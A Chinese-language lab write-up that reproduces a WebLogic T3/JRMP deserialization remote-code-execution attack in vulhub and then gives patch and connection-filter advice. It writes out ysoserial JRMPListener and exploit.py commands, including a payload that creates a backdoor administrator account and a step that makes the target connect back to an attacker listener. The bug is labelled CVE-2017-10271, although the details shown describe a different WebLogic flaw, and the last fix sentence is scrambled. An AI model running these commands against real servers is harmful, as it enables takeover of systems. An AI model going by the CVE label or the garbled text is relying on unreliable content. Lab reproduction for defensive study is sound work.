漏洞简述
-
在 Weblogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
-
漏洞编号:CVE-2017-10271
-
影响版本:10.3.6.0.0、12.1.3.0、12.2.1.1和12.2.1.2
-
测试环境:Linux || vulhub || Weblogic 10.3.6.0
-
复现漏洞所用工具:
https://www.exploit-db.com/exploits/44553
复现开始
1、在vulhub启动weblogic:
2、验证weblogic是否正常启动:
3、利用nmap快速检测是否开启T3及weblogic其他信息:
4、首先,在攻击机A
利用ysoserial启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"
除此之外还可以:
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "cmd.exe /c ipconfig >>c:ip.txt&net user admin admin@123&net localgroup administrator admin /add"
5、然后,在攻击机B
发起攻击:
python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
e.g.
python exploit.py 192.168.83.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.43.238 1099 JRMPClient
6、此时,攻击机A
已经向目标主机发送了攻击:
在目标主机的tmp目录下创建了shell666文件:
修复建议
1、官方补丁:
- Oracle官方已经在4月18号的关键补丁更新中修复了此漏洞,受影响的用户请尽快升级更新进行防护。可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
2、手工修复:
- 若要利用该漏洞, 攻击者首先需要与WebLogic Server提供的T3服务端口建立SOCKET连接, 运维人员可通过控制T3协议的访问权限来临时阻断漏洞利用。
- WebLogic Server 提供了名叫“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器。该连接筛选器可控制所有传入连接,通过修改此连问控制。接筛选器规则,可对T3及T3S协议进行访